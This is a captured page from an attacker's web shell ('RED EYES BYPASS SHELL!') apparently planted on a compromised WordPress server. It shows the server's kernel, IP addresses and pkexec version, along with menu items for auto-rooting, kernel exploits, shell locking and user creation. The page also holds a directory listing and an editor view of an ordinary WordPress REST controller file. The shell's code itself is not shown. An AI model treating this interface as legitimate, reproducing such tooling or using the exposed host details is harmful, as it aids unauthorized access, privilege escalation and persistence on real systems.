Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
iqtd /
wp-includes /
rest-api /
endpoints /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
class-wp-rest-application-passwords-controller.php
23.59
KB
-rw-r--r--
class-wp-rest-attachments-controller.php
46.32
KB
-rw-r--r--
class-wp-rest-autosaves-controller.php
14.42
KB
-rw-r--r--
class-wp-rest-block-directory-controller.php
9.72
KB
-rw-r--r--
class-wp-rest-block-pattern-categories-controller.php
4.55
KB
-rw-r--r--
class-wp-rest-block-patterns-controller.php
9.08
KB
-rw-r--r--
class-wp-rest-block-renderer-controller.php
5.7
KB
-rw-r--r--
class-wp-rest-block-types-controller.php
25.78
KB
-rw-r--r--
class-wp-rest-blocks-controller.php
3.1
KB
-rw-r--r--
class-wp-rest-comments-controller.php
56.24
KB
-rw-r--r--
class-wp-rest-controller.php
18.62
KB
-rw-r--r--
class-wp-rest-edit-site-export-controller.php
2.07
KB
-rw-r--r--
class-wp-rest-font-collections-controller.php
9.18
KB
-rw-r--r--
class-wp-rest-font-faces-controller.php
29.11
KB
-rw-r--r--
class-wp-rest-font-families-controller.php
17.1
KB
-rw-r--r--
class-wp-rest-global-styles-controller.php
20.7
KB
-rw-r--r--
class-wp-rest-global-styles-revisions-controller.php
11.71
KB
-rw-r--r--
class-wp-rest-menu-items-controller.php
31.9
KB
-rw-r--r--
class-wp-rest-menu-locations-controller.php
8.32
KB
-rw-r--r--
class-wp-rest-menus-controller.php
16.44
KB
-rw-r--r--
class-wp-rest-navigation-fallback-controller.php
5.05
KB
-rw-r--r--
class-wp-rest-pattern-directory-controller.php
12.48
KB
-rw-r--r--
class-wp-rest-plugins-controller.php
27.86
KB
-rw-r--r--
class-wp-rest-post-statuses-controller.php
10.07
KB
-rw-r--r--
class-wp-rest-post-types-controller.php
13.48
KB
-rw-r--r--
class-wp-rest-posts-controller.php
98.4
KB
-rw-r--r--
class-wp-rest-revisions-controller.php
25.12
KB
-rw-r--r--
class-wp-rest-search-controller.php
11.07
KB
-rw-r--r--
class-wp-rest-settings-controller.php
10.11
KB
-rw-r--r--
class-wp-rest-sidebars-controller.php
15.36
KB
-rw-r--r--
class-wp-rest-site-health-controller.php
9.61
KB
-rw-r--r--
class-wp-rest-taxonomies-controller.php
13.22
KB
-rw-r--r--
class-wp-rest-template-autosaves-controller.php
7.52
KB
-rw-r--r--
class-wp-rest-template-revisions-controller.php
8.11
KB
-rw-r--r--
class-wp-rest-templates-controller.php
37.15
KB
-rw-r--r--
class-wp-rest-terms-controller.php
33.16
KB
-rw-r--r--
class-wp-rest-themes-controller.php
20.52
KB
-rw-r--r--
class-wp-rest-url-details-controller.php
20.07
KB
-rw-r--r--
class-wp-rest-users-controller.php
46.62
KB
-rw-r--r--
class-wp-rest-widget-types-controller.php
18.31
KB
-rw-r--r--
class-wp-rest-widgets-controller.php
25.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-rest-blocks-controller.php
<?php /** * Synced patterns REST API: WP_REST_Blocks_Controller class * * @package WordPress * @subpackage REST_API * @since 5.0.0 */ /** * Controller which provides a REST endpoint for the editor to read, create, * edit, and delete synced patterns (formerly called reusable blocks). * Patterns are stored as posts with the wp_block post type. * * @since 5.0.0 * * @see WP_REST_Posts_Controller * @see WP_REST_Controller */ class WP_REST_Blocks_Controller extends WP_REST_Posts_Controller { /** * Checks if a pattern can be read. * * @since 5.0.0 * * @param WP_Post $post Post object that backs the block. * @return bool Whether the pattern can be read. */ public function check_read_permission( $post ) { // By default the read_post capability is mapped to edit_posts. if ( ! current_user_can( 'read_post', $post->ID ) ) { return false; } return parent::check_read_permission( $post ); } /** * Filters a response based on the context defined in the schema. * * @since 5.0.0 * @since 6.3.0 Adds the `wp_pattern_sync_status` postmeta property to the top level of response. * * @param array $data Response data to filter. * @param string $context Context defined in the schema. * @return array Filtered response. */ public function filter_response_by_context( $data, $context ) { $data = parent::filter_response_by_context( $data, $context ); /* * Remove `title.rendered` and `content.rendered` from the response. * It doesn't make sense for a pattern to have rendered content on its own, * since rendering a block requires it to be inside a post or a page. */ unset( $data['title']['rendered'] ); unset( $data['content']['rendered'] ); // Add the core wp_pattern_sync_status meta as top level property to the response. $data['wp_pattern_sync_status'] = isset( $data['meta']['wp_pattern_sync_status'] ) ? $data['meta']['wp_pattern_sync_status'] : ''; unset( $data['meta']['wp_pattern_sync_status'] ); return $data; } /** * Retrieves the pattern's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); /* * Allow all contexts to access `title.raw` and `content.raw`. * Clients always need the raw markup of a pattern to do anything useful, * e.g. parse it or display it in an editor. */ $schema['properties']['title']['properties']['raw']['context'] = array( 'view', 'edit' ); $schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' ); /* * Remove `title.rendered` and `content.rendered` from the schema. * It doesn't make sense for a pattern to have rendered content on its own, * since rendering a block requires it to be inside a post or a page. */ unset( $schema['properties']['title']['properties']['rendered'] ); unset( $schema['properties']['content']['properties']['rendered'] ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } }
Close